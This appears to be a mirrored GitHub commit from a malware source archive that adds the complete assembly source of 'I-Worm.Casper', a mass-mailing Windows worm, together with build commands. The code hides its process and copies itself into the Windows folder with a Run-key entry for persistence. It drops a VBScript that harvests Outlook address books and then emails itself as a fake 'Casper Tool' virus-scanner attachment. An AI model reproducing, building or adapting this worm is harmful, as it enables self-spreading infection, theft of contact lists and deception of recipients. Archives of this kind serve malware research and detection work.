mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,510 @@
|
||||
;--- dllz.def
|
||||
IMPORTS
|
||||
|
||||
WININET.InternetGetConnectedState
|
||||
SHLWAPI.SHSetValueA
|
||||
;---
|
||||
|
||||
|
||||
comment #
|
||||
Name : I-Worm.Casper
|
||||
Author : PetiK
|
||||
Date : August 17th - August 24th
|
||||
Size : 6144 byte (compressed with UPX tool)
|
||||
|
||||
Action : Copy itself to
|
||||
* WINDOWS\MsWinsock32.exe
|
||||
Add in the key HKLM\Software\Microsoft\Windows\CurrentVersion\Run the value
|
||||
* Winsock32 1.0 = WINDOWS\MsWinsock32.exe
|
||||
|
||||
|
||||
To build the worm:
|
||||
tasm32 /ml /m9 Casper
|
||||
tlink32 -Tpe -c -x -aa Casper,,,import32,dllz
|
||||
upx -9 Casper.exe
|
||||
|
||||
To delete the worm:
|
||||
del %windir%\MsWinsock32.exe
|
||||
del %windir%\CasperEMail.txt
|
||||
|
||||
dllz.def file:
|
||||
IMPORTS
|
||||
|
||||
WININET.InternetGetConnectedState
|
||||
SHLWAPI.SHSetValueA
|
||||
|
||||
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
callx macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include useful.inc
|
||||
|
||||
DEBUT:
|
||||
Main_Worm:
|
||||
|
||||
call Hide_Worm
|
||||
call Copy_Worm
|
||||
call Check_Wsock
|
||||
call Prepare_Spread_Worm
|
||||
|
||||
Connected_:
|
||||
push 00h
|
||||
push offset Tmp
|
||||
callx InternetGetConnectedState
|
||||
dec eax
|
||||
jnz Connected_
|
||||
|
||||
mov edi,offset casper_mail
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"saC\"
|
||||
stosd
|
||||
mov eax,"Erep"
|
||||
stosd
|
||||
mov eax,"liaM"
|
||||
stosd
|
||||
mov eax,"txt."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
|
||||
call Spread_Worm
|
||||
|
||||
Hide_Worm proc
|
||||
pushad
|
||||
@pushsz "Kernel32.dll"
|
||||
callx GetModuleHandleA
|
||||
xchg eax,ecx
|
||||
jecxz End_Hide
|
||||
@pushsz "RegisterServiceProcess"
|
||||
push ecx
|
||||
callx GetProcAddress
|
||||
xchg eax,ecx
|
||||
jecxz End_Hide
|
||||
push 1
|
||||
push 0
|
||||
call ecx
|
||||
End_Hide:
|
||||
popad
|
||||
ret
|
||||
Hide_Worm endp
|
||||
|
||||
Check_Wsock proc
|
||||
Search_Wsock:
|
||||
push 50
|
||||
mov edi,offset wsock_file
|
||||
push edi
|
||||
callx GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"osW\"
|
||||
stosd
|
||||
mov eax,"23kc"
|
||||
stosd
|
||||
mov eax,"lld."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
|
||||
push offset wsock_file
|
||||
callx GetFileAttributesA
|
||||
cmp eax,20h
|
||||
jne End_Wsock
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push 03h
|
||||
push eax
|
||||
push eax
|
||||
push 80000000h or 40000000h
|
||||
push offset wsock_file
|
||||
callx CreateFileA
|
||||
mov wsckhdl,eax
|
||||
|
||||
File_Mapping:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push eax
|
||||
push wsckhdl
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
jz Close_File
|
||||
mov wsckmap,eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 06h
|
||||
push wsckmap
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
jz Close_Map_File
|
||||
mov esi,eax
|
||||
mov wsckview,eax
|
||||
|
||||
Old_Infect:
|
||||
mov verif,0
|
||||
cmp word ptr [esi],"ZM"
|
||||
jne UnmapView_File
|
||||
cmp byte ptr [esi+12h],"z"
|
||||
je Infected_By_Happy
|
||||
cmp word ptr [esi+38h],"ll"
|
||||
je Infected_By_Icecubes
|
||||
jmp UnmapView_File
|
||||
|
||||
Infected_By_Happy:
|
||||
push 10h
|
||||
push offset warning
|
||||
@pushsz "I-Worm.Happy coded by Spanska"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
Infected_By_Icecubes:
|
||||
push 10h
|
||||
push offset warning
|
||||
@pushsz "I-Worm.Icecubes coded by f0re"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
Already_Infected:
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
|
||||
UnmapView_File:
|
||||
push wsckview
|
||||
callx UnmapViewOfFile
|
||||
Close_Map_File:
|
||||
push offset wsckmap
|
||||
callx CloseHandle
|
||||
Close_File:
|
||||
push wsckhdl
|
||||
callx CloseHandle
|
||||
End_Wsock:
|
||||
ret
|
||||
Check_Wsock endp
|
||||
|
||||
Copy_Worm proc
|
||||
pushad
|
||||
Original_Name:
|
||||
push 50
|
||||
mov esi,offset original
|
||||
push esi
|
||||
push 0
|
||||
callx GetModuleFileNameA
|
||||
|
||||
Copy_Name:
|
||||
mov edi,offset copy_name
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'WsM\'
|
||||
stosd
|
||||
mov eax,'osni'
|
||||
stosd
|
||||
mov eax,'23kc'
|
||||
stosd
|
||||
mov eax,'exe.'
|
||||
stosd
|
||||
pop edi
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
callx CopyFileA
|
||||
|
||||
Reg_Registered:
|
||||
push 08h
|
||||
push edi
|
||||
push 01h
|
||||
@pushsz "Winsock32"
|
||||
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
push 80000002h
|
||||
callx SHSetValueA
|
||||
push 08h
|
||||
@pushsz "PetiK - France - (c)2001"
|
||||
push 01h
|
||||
@pushsz "Author"
|
||||
@pushsz "Software\CasperWorm"
|
||||
push 80000001h
|
||||
callx SHSetValueA
|
||||
push 08h
|
||||
@pushsz "1.00"
|
||||
push 01h
|
||||
@pushsz "Version"
|
||||
@pushsz "Software\CasperWorm"
|
||||
push 80000001h
|
||||
callx SHSetValueA
|
||||
popad
|
||||
ret
|
||||
Copy_Worm endp
|
||||
|
||||
|
||||
Prepare_Spread_Worm proc
|
||||
pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
@pushsz "C:\CasperMail.vbs"
|
||||
callx CreateFileA
|
||||
xchg edi,eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push VBSSIZE
|
||||
push offset vbsd
|
||||
push edi
|
||||
callx WriteFile
|
||||
push edi
|
||||
callx CloseHandle
|
||||
push 1
|
||||
@pushsz "wscript C:\CasperMail.vbs"
|
||||
callx WinExec
|
||||
push 3 * 1000
|
||||
callx Sleep
|
||||
@pushsz "C:\CasperMail.vbs"
|
||||
callx DeleteFileA
|
||||
popad
|
||||
ret
|
||||
Prepare_Spread_Worm endp
|
||||
|
||||
Spread_Worm:
|
||||
pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
push offset casper_mail
|
||||
callx CreateFileA
|
||||
inc eax
|
||||
test eax,eax
|
||||
je End_Spread_worm
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 02h
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
je F1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
je F2
|
||||
xchg eax,esi
|
||||
|
||||
push 00h
|
||||
push ebx
|
||||
callx GetFileSize
|
||||
cmp eax,03h
|
||||
jbe F3
|
||||
|
||||
call Scan_Mail
|
||||
|
||||
F3: push esi
|
||||
callx UnmapViewOfFile
|
||||
F2: push ebp
|
||||
callx CloseHandle
|
||||
F1: push ebx
|
||||
callx CloseHandle
|
||||
End_Spread_worm:
|
||||
popad
|
||||
ret
|
||||
|
||||
Scan_Mail:
|
||||
pushad
|
||||
xor edx,edx
|
||||
mov edi,offset m_addr
|
||||
push edi
|
||||
p_c: lodsb
|
||||
cmp al," "
|
||||
je car_s
|
||||
cmp al,0dh
|
||||
je entr1
|
||||
cmp al,0ah
|
||||
je entr2
|
||||
cmp al,"#"
|
||||
je f_mail
|
||||
cmp al,"@"
|
||||
je not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_c
|
||||
car_s: inc esi
|
||||
jmp p_c
|
||||
entr1: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx
|
||||
je Scan_Mail
|
||||
call Send_Mail
|
||||
jmp Scan_Mail
|
||||
entr2: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
jmp Scan_Mail
|
||||
f_mail:
|
||||
FIN: push 00h
|
||||
callx ExitProcess
|
||||
|
||||
Send_Mail:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push [MAPIHdl]
|
||||
callx MAPISendMail
|
||||
ret
|
||||
|
||||
|
||||
.data
|
||||
; ===== Main_Worm =====
|
||||
wsock_file db 50 dup (0)
|
||||
|
||||
; ===== Check_Wsock =====
|
||||
wsckhdl dd 0
|
||||
wsckmap dd 0
|
||||
wsckview dd 0
|
||||
PEHeader dd 0
|
||||
warning db "Warning : You're infected by",00h
|
||||
verif dd ?
|
||||
|
||||
; ===== Copy_Worm =====
|
||||
original db 50 dup (0)
|
||||
copy_name db 50 dup (0)
|
||||
|
||||
; ===== Prepare_Spread_Worm =====
|
||||
octets dd ?
|
||||
|
||||
; ===== Spread_Worm =====
|
||||
m_addr db 128 dup (?)
|
||||
casper_mail db 50 dup (0)
|
||||
mail_name db "Casper_Tool.exe",00h
|
||||
MAPIHdl dd 0
|
||||
Tmp dd 0
|
||||
|
||||
subject db "Casper Tool Protect 1.00",00h
|
||||
body db "Hi,",0dh,0ah
|
||||
db "Look at this attachment...",0dh,0ah
|
||||
db "This freeware alert you if you infected by "
|
||||
db "I-Worm.Happy and I-Worm.Icecubes.",0dh,0ah
|
||||
db "These worms spread with the file WSOCK32.DLL in the SYSTEM path.",0dh,0ah
|
||||
db "The tool Casper v.1.00 scans this specific file and displays a message "
|
||||
db "if it infected.",0dh,0ah,0dh,0ah,0dh,0ah
|
||||
db 09h,09h,09h,"Good Bye and have a nice day",00h
|
||||
|
||||
Message dd ?
|
||||
dd offset subject
|
||||
dd offset body
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd 2
|
||||
dd offset MsgFrom
|
||||
dd 1
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset Attach
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1
|
||||
dd offset m_addr
|
||||
dd offset m_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
Attach dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd offset original
|
||||
dd offset mail_name
|
||||
dd ?
|
||||
|
||||
vbsd:
|
||||
db 'On Error Resume Next',0dh,0ah
|
||||
db 'Set Casper = CreateObject("Outlook.Application")',0dh,0ah
|
||||
db 'Set L = Casper.GetNameSpace("MAPI")',0dh,0ah
|
||||
db 'Set fs=CreateObject("Scripting.FileSystemObject")',0dh,0ah
|
||||
db 'Set c=fs.CreateTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt")',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'For Each M In L.AddressLists',0dh,0ah
|
||||
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
|
||||
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
|
||||
db 'Set P = M.AddressEntries(O)',0dh,0ah
|
||||
db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine P.Address',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine "#"',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
VBSSIZE = $-vbsd
|
||||
|
||||
MAX_PATH equ 260
|
||||
FILETIME struct
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName dd MAX_PATH (?)
|
||||
cAlternateFileName db 13 dup (?)
|
||||
db 3 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
Search WIN32_FIND_DATA <>
|
||||
|
||||
end DEBUT
|
||||
end
|
||||
Reference in New Issue
Block a user